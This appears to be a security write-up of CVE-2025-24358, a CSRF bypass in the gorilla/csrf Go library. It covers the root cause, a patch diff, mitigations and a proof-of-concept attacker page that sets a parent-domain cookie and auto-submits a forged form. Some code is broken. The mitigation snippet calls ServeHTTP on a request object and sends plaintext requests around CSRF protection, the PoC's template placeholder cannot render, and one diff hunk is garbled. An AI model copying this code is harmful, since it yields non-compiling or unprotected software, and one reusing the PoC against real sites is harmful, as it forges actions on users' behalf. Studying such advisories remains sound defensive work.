CVE-2025-24358: CSRF Vulnerability in gorilla/csrf due to Broken Referer Validation
Executive Summary
CVE-2025-24358 describes a Cross-Site Request Forgery (CSRF) vulnerability affecting the gorilla/csrf
Go package. This vulnerability arises from a flaw in the Referer header validation logic, specifically how the package determines if a request is served over TLS. Due to the r.URL.Scheme
value not being populated for server requests, the intended Referer check is bypassed, allowing attackers to potentially forge requests from origins sharing a top-level domain with the target. This has been present since the initial release of the library in 2015. The vulnerability can be exploited if an attacker gains XSS on a subdomain or top-level domain. Versions prior to 1.7.3 are affected.
Technical Details
The vulnerability resides in the csrf.go
file of the gorilla/csrf
package. The core issue is the reliance on r.URL.Scheme
to determine if a request is served over TLS. According to the Go specification, this field is not populated for server requests. This means the conditional logic intended to trigger Referer validation for HTTPS connections is never executed in practice.
Affected Systems:
- Any application using the
gorilla/csrf
package for CSRF protection.
Affected Software Versions:
gorilla/csrf
versions prior to 1.7.3.
Affected Components:
- The
ServeHTTP
function within thecsrf.go
file, responsible for handling incoming HTTP requests and enforcing CSRF protection.
Root Cause Analysis
The root cause of the vulnerability lies in the incorrect assumption that r.URL.Scheme
is reliably populated for server requests to indicate the use of TLS. The code snippet below illustrates the problematic logic:
if !contains(safeMethods, r.Method) {
if r.URL.Scheme == "https" {
// Referer validation logic
}
}
Because r.URL.Scheme
is often empty for server requests, the Referer validation logic is skipped, regardless of whether the connection is actually using HTTPS. This allows cross-origin requests to bypass the intended CSRF protection.
The vulnerability is further compounded by the lack of proper validation of the Origin
header. While the patch introduces Origin
header validation, the original code relied solely on the flawed r.URL.Scheme
check.
Patch Analysis
The fix for CVE-2025-24358 involves several key changes to the gorilla/csrf
package, primarily within the csrf.go
file. The patch addresses the broken Referer validation by:
- Introducing a context-based mechanism to determine TLS state.
- Implementing
Origin
header validation. - Enforcing stricter Referer checks when serving over TLS and the
Origin
header is absent.
Here's a breakdown of the changes:
--- a/csrf.go
+++ b/csrf.go
@@ -1,10 +1,12 @@
package csrf
import (
+ "context"
"errors"
"fmt"
"net/http"
"net/url"
+ "slices"
"github.com/gorilla/securecookie"
)
@@ -22,6 +24,14 @@ const (
errorPrefix string = "gorilla/csrf: "
)
+type contextKey string
+
+// PlaintextHTTPContextKey is the context key used to store whether the request
+// is being served via plaintext HTTP. This is used to signal to the middleware
+// that strict Referer checking should not be enforced as is done for HTTPS by
+// default.
+const PlaintextHTTPContextKey contextKey = "plaintext"
+
var (
// The name value used in form fields.
fieldName = tokenKey
@@ -41,6 +51,9 @@ var (
// The name value used in form fields.
fieldName = tokenKey
// ErrNoReferer is returned when a HTTPS request provides an empty Referer
@@ -242,10 +255,50 @@ func (cs *csrf) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// HTTP methods not defined as idempotent ("safe") under RFC7231 require
// inspection.
if !contains(safeMethods, r.Method) {
- // Enforce an origin check for HTTPS connections. As per the Django CSRF
- // implementation (https://goo.gl/vKA7GE) the Referer header is almost
- // always present for same-domain HTTP requests.
- if r.URL.Scheme == "https" {
+ var isPlaintext bool
+ val := r.Context().Value(PlaintextHTTPContextKey)
+ if val != nil {
+ isPlaintext, _ = val.(bool)
+ }
+
+ // take a copy of the request URL to avoid mutating the original
+ // attached to the request.
+ // set the scheme & host based on the request context as these are not
+ // populated by default for server requests
+ // ref: https://pkg.go.dev/net/http#Request
+ requestURL := *r.URL // shallow clone
+
+ requestURL.Scheme = "https"
+ if isPlaintext {
+ requestURL.Scheme = "http"
+ }
+ if requestURL.Host == "" {
+ requestURL.Host = r.Host
+ }
+
+ // if we have an Origin header, check it against our allowlist
+ origin := r.Header.Get("Origin")
+ if origin != "" {
+ parsedOrigin, err := url.Parse(origin)
+ if err != nil {
+ r = envError(r, ErrBadOrigin)
+ cs.opts.ErrorHandler.ServeHTTP(w, r)
+ return
+ }
+ if !sameOrigin(&requestURL, parsedOrigin) && !slices.Contains(cs.opts.TrustedOrigins, parsedOrigin.Host) {
+ r = envError(r, ErrBadOrigin)
+ cs.opts.ErrorHandler.ServeHTTP(w, r)
+ return
+ }
+ }
+
+ // If we are serving via TLS and have no Origin header, prevent against
+ // CSRF via HTTP machine in the middle attacks by enforcing strict
+ // Referer origin checks. Consider an attacker who performs a
+ // successful HTTP Machine-in-the-Middle attack and uses this to inject
+ // a form and cause submission to our origin. We strictly disallow
+ // cleartext HTTP origins and evaluate the domain against an allowlist.
+ if origin == "" && !isPlaintext {
// Fetch the Referer value. Call the error handler if it's empty or
// otherwise fails to parse.
referer, err := url.Parse(r.Referer())
@@ -255,18 +308,17 @@ func (cs *csrf) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
- valid := sameOrigin(r.URL, referer)
-
- if !valid {
- for _, trustedOrigin := range cs.opts.TrustedOrigins {
- if referer.Host == trustedOrigin {
- valid = true
- break
- }
- }
+ // disallow cleartext HTTP referers when serving via TLS
+ if referer.Scheme == "http" {
+ r = envError(r, ErrBadReferer)
+ cs.opts.ErrorHandler.ServeHTTP(w, r)
+ return
}
- if !valid {
+ // If the request is being served via TLS and the Referer is not the
+ // same origin, check the domain against our allowlist. We only
+ // check when we have host information from the referer.
+ if referer.Host != "" && referer.Host != r.Host && !slices.Contains(cs.opts.TrustedOrigins, referer.Host) {
r = envError(r, ErrBadReferer)
cs.opts.ErrorHandler.ServeHTTP(w, r)
return
@@ -308,6 +360,15 @@ func (cs *csrf) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contextClear(r)
}
+// PlaintextHTTPRequest accepts as input a http.Request and returns a new
+// http.Request with the PlaintextHTTPContextKey set to true. This is used to
+// signal to the CSRF middleware that the request is being served over plaintext
+// HTTP and that Referer-based origin allow-listing checks should be skipped.
+func PlaintextHTTPRequest(r *http.Request) *http.Request {
+ ctx := context.WithValue(r.Context(), PlaintextHTTPContextKey, true)
+ return r.WithContext(ctx)
+}
+
// unauthorizedhandler sets a HTTP 403 Forbidden status and writes the
// CSRF failure reason to the response.
func unauthorizedHandler(w http.ResponseWriter, r *http.Request) {
Key Changes Explained:
- Context-Based TLS Detection: The patch introduces
PlaintextHTTPContextKey
to explicitly signal whether a request is served over plaintext HTTP. ThePlaintextHTTPRequest
function sets this context value. This replaces the unreliabler.URL.Scheme
check. - Origin Header Validation: The code now checks for the
Origin
header and validates it against a list of trusted origins (cs.opts.TrustedOrigins
). If theOrigin
header is present and invalid, the request is rejected. - Stricter Referer Checks: When serving over TLS (and the
Origin
header is absent), the patch enforces stricter Referer checks. It disallows cleartext HTTP Referers and validates the Referer's host against the trusted origins list. - Referer Host Check: The patch now checks if the
referer.Host
is empty before comparing it tor.Host
andcs.opts.TrustedOrigins
. This prevents panics when the Referer header is present but doesn't contain host information.
These changes collectively address the vulnerability by providing a more reliable mechanism for determining TLS state and enforcing stricter origin validation.
Exploitation Techniques
The vulnerability allows an attacker to bypass CSRF protection if they can control a subdomain or top-level domain of the target application.
Attack Scenario:
- Attacker Acquires XSS: The attacker gains Cross-Site Scripting (XSS) on a subdomain (e.g.,
attack.example.com
) of the target application (e.g.,target.example.com
). - Exfiltrate CSRF Token and Cookie: The attacker uses JavaScript to read the CSRF token from the target application's HTML and the CSRF cookie.
- Set Cookie with Broader Scope: The attacker sets the exfiltrated cookie with
domain=.example.com
and a specific path (e.g.,/submit
). This ensures the cookie is sent to the target application even when the request originates from the attacker's subdomain. - Forge Request: The attacker crafts a malicious form on their subdomain that includes the exfiltrated CSRF token and submits it to the target application. Because the
Origin
andReferer
headers are not properly validated in vulnerable versions, the request is processed as legitimate.
Proof of Concept (PoC):
This is a theoretical PoC, as the actual exploit requires a vulnerable application and an XSS vulnerability on a related domain.
Vulnerable Application (target.example.com):
package main
import (
"fmt"
"log"
"net/http"
"github.com/gorilla/csrf"
"github.com/gorilla/mux"
)
func submitHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "Form submitted successfully!")
}
func main() {
r := mux.NewRouter()
// Simulate a form submission endpoint
r.HandleFunc("/submit", submitHandler).Methods("POST")
// CSRF protection middleware
protectedRouter := csrf.Protect([]byte("32-byte-long-auth-key"))(r)
// Serve static files (including the form)
r.PathPrefix("/").Handler(http.FileServer(http.Dir("./static")))
fmt.Println("Server listening on :8080")
log.Fatal(http.ListenAndServe(":8080", protectedRouter))
}
static/index.html (target.example.com):
<!DOCTYPE html>
<html>
<head>
<title>CSRF Test</title>
</head>
<body>
<h1>CSRF Test Form</h1>
<form action="/submit" method="POST">
<input type="hidden" name="csrf_token" value="{{.csrfField}}">
<input type="submit" value="Submit">
</form>
</body>
</html>
Attacker's Website (attack.example.com):
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<h1>CSRF Attack</h1>
<script>
// This script would normally exfiltrate the CSRF token and cookie
// and then submit the form. For demonstration purposes, we'll just
// simulate the form submission.
function submitForm() {
// Replace with the actual CSRF token and cookie
var csrfToken = "EXFILTRATED_CSRF_TOKEN";
var csrfCookie = "EXFILTRATED_CSRF_COOKIE";
// Set the cookie with a broader scope
document.cookie = csrfCookie + "; domain=.example.com; path=/submit";
// Create and submit the form
var form = document.createElement("form");
form.action = "http://target.example.com/submit";
form.method = "POST";
var tokenInput = document.createElement("input");
tokenInput.type = "hidden";
tokenInput.name = "csrf_token";
tokenInput.value = csrfToken;
form.appendChild(tokenInput);
document.body.appendChild(form);
form.submit();
}
// Call the function to submit the form
submitForm();
</script>
</body>
</html>
Explanation:
- The attacker hosts the
attack.example.com
website. - The JavaScript code on
attack.example.com
simulates the exfiltration of the CSRF token and cookie (in a real attack, this would be done using XSS). - The script sets the CSRF cookie with
domain=.example.com
andpath=/submit
. - The script creates a form that submits to
target.example.com/submit
with the exfiltrated CSRF token. - Because of the vulnerability, the
gorilla/csrf
middleware ontarget.example.com
fails to properly validate the request, and the form is submitted successfully.
Real-World Impact:
This vulnerability can have significant real-world impact, including:
- Account Takeover: An attacker could potentially change a user's password or email address.
- Unauthorized Actions: An attacker could perform actions on behalf of a user without their knowledge or consent, such as posting messages, making purchases, or transferring funds.
- Data Breach: In some cases, an attacker could potentially access sensitive data.
Mitigation Strategies
To mitigate CVE-2025-24358, the following strategies are recommended:
- Upgrade
gorilla/csrf
: Upgrade to version 1.7.3 or later. This version contains the fix for the vulnerability. - Explicitly Signal TLS State: When using
gorilla/csrf
behind a reverse proxy or load balancer, ensure that the application explicitly signals the TLS state using thePlaintextHTTPRequest
function if the connection to the application server is not TLS. For example:
import (
"net/http"
"github.com/gorilla/csrf"
)
func myHandler(w http.ResponseWriter, r *http.Request) {
// ... your handler logic ...
}
func main() {
handler := http.HandlerFunc(myHandler)
protectedHandler := csrf.Protect([]byte("32-byte-long-auth-key"))(handler)
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
// Check if the request is coming from a trusted proxy and is using HTTPS
if r.Header.Get("X-Forwarded-Proto") == "https" {
protectedHandler.ServeHTTP(w, r)
} else {
// If not HTTPS, explicitly mark the request as plaintext
csrf.PlaintextHTTPRequest(r).ServeHTTP(w, r)
}
})
http.ListenAndServe(":8080", nil)
}
- Trusted Origins Configuration: Configure the
TrustedOrigins
option ingorilla/csrf
to explicitly specify the allowed origins for requests. This adds an additional layer of security by restricting requests to only those originating from trusted domains. - Web Application Firewall (WAF): Implement a WAF to detect and block malicious requests that attempt to exploit CSRF vulnerabilities.
- Regular Security Audits: Conduct regular security audits of your application to identify and address potential vulnerabilities.
- Input Validation and Output Encoding: Implement proper input validation and output encoding to prevent XSS vulnerabilities, which can be used to bypass CSRF protection.
Timeline of Discovery and Disclosure
- Vulnerability Discovered: Unknown
- Vulnerability Reported: Unknown
- Patch Released: Version 1.7.3
- Public Disclosure: 2025-04-14
References
- GitHub Advisory: https://github.com/gorilla/csrf/security/advisories/GHSA-rq77-p4h8-4crw
- GitHub Global Advisory: https://github.com/advisories/GHSA-rq77-p4h8-4crw
- Go Specification: https://pkg.go.dev/net/http#Request
- RFC 7230, Section 5.3: https://rfc-editor.org/rfc/rfc7230.html#section-5.3
- gorilla/csrf GitHub Repository: https://github.com/gorilla/csrf